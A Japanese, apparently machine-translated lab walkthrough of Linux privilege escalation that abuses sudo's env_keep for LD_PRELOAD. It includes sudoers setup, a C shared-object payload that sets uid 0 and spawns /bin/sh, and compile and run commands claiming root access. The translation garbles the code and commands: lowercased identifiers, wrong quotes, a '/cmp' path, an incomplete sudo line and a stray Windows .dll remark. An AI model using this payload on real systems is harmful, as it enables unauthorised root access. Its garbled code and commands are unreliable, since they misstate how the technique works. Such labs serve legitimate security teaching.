0x00はじめに
共有ライブラリは、スタートアップでプログラムがロードされるライブラリです。共有ライブラリが正しくインストールされた後、その後起動されたすべてのプログラムは、新しい共有ライブラリを自動的に使用します。
0x01共有ライブラリ名
各共有ライブラリには、Sonameという特別な名前があります。 Sonameには接頭辞LIBがあり、ライブラリの接尾辞は.so、その後に期間とバージョン番号が続きます。
動的リンカーは、動的にリンクされたプログラムまたは共有オブジェクトを実行することにより、間接的に実行できます。プログラムld.soおよびld linux.so*プログラムに必要な共有オブジェクト(共有ライブラリ)を見つけてロードし、プログラムを実行するために準備してから実行します。 (ここから読む)
LD_PRELOAD:/etc /ld.so .preloadのように標準セットを上書きする関数を含む共有ライブラリをリストする環境変数です。これらは、Loader/Lib/Ld-Linuxによって実装されています。詳細については、こちらをご覧ください。
0x02実験設定
ログユーザーにはいくつかのsudo許可がある必要があります。これは重要です。そのため、sudoユーザー/sudoユーザーが実行した/usr/bin/findなどのsudoユーザーにいくつかのsudo許可を与えました。しかし、それに加えて、環境変数をsudoとして設定できるデフォルトの構成がいくつかあります
これを行うには、次の手順に従ってください。
visudoを入力して、 /etc /sudoersファイルを開きます
今、ユーザーにいくつかのsudo許可を与えます。私たちの場合、「raj」はsudoersのメンバーになります
raj all=(all:all)nopasswd:/usr/bin/find
次に、デフォルトの構成として以下を追加して、LD_PRELOAD環境を設定します。
デフォルトenv_keep +=ld_preload
0x03許可アップグレード
このような脆弱性を活用するには、すぐに被害者のホストを攻撃してから、特権エスカレーション段階に入る必要があります。 SSHを介して被害者のホストに正常にログインし、SUDO -Lコマンドを使用してそれを検出し、利用情報を取得するとします。強調表示された環境変数は、sudoランニング環境として使用されることに注意してください。
/TMPディレクトリでCプログラムファイルを生成しましょう。
#include stdio.h
#include sys/types.h
#include stdlib.h
void _init(){
unsetenv( 'ld_preload');
SetGid(0);
setuid(0);
system( '/bin/sh');
}
次に、shell.c in /cmpとして保存します
上記のように、それをコンパイルして、Windowsオペレーティングシステムの.dllファイルを使用して.so拡張機能で共有オブジェクトを生成しましょう。以下を入力してください。
gcc -fpic -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo ld_preload=/tmp/shell.so
id
おっと
とても良い、ルートアクセスを受けました。